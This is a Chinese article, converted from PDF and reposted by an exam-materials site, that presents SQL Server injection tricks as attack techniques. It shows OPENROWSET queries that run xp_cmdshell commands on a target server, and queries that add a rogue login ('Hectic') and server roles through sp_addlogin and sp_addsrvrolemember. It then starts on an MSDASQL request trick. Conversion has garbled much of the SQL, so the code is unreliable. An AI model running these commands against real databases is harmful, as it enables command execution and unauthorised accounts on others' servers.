注意那些容易被忽略的SQL注入技巧 PDF转换可能丢失图片或格式,建议阅读原文

https://www.100test.com/kao_ti2020/257/2021_2022__E6_B3_A8_ E6_84_8F_E9_82_A3_E4_c67_257048.htm 面我要谈到-些Sqlserver新的Bug,虽然本人经过长时间的努力,当然也有 点幸运的成分在内,才得以发现,不敢一个人独享,拿出来 请大家鉴别。1.关于Openrowset和Opendatasource 可能这个 技巧早有人已经会了,就是利用openrowset发送本地命令。通 常我们的用法是(包括MSDN的列子)如下: 0select * from openrowset(sqloledb,myserver.sa.,0select * from table) 可见(即使 从字面意义上看)openrowset只是作为一个快捷的远程数据库 访问,它必须跟在Oselect后面,也就是说需要返回一 个recordset。 那么我们能不能利用它调用XP_cmdshell呢?答 案是肯定的! 0select * from openrowset(sqloledb,server.sa.,set fmtonly off exec master.dbo.XP_cmdshel I dir c:\) 必须加 上setfmtonlyoff用来屏蔽默认的只返回列信息的设置,这 样XP_cmdshell返回的output集合就会提交给前面的0select显示 ,如果采用默认设置,会返回空集合导致Oselect出错,命令也 就无法执行了。 那么如果我们要调用sp_addlogin呢,他不会 像XP_cmdshell返回任何集合的,我们就不能再依靠fmtonly设 置了,可以如下操作: Oselect * from openrowset(sqloledb,server.sa.,0select OK! exec master.dbo.sp_addlogin Hectic) 这样,命令至少会返回0select OK!的集合,你的机器商会显示OK!,同时对方的数据库内也 会增加一个Hectic的账号,也就是说,我们利用Oselect OK!的 返回集合欺骗了本地的Oselect请求,是命令能够正常执行,通 理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧。 2.关于Msdasql两次请求的问题 不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下: 0select * from openrowset(msdasql,driver={sql server}.server=server.address=server,1433.uid=sa.pwd=.database=m aster.network=dbmssocn,s elect * from table1 0select * from table2) 100Test 下载频道开通,各类考试题目直接下载。详细请访问www.100test.com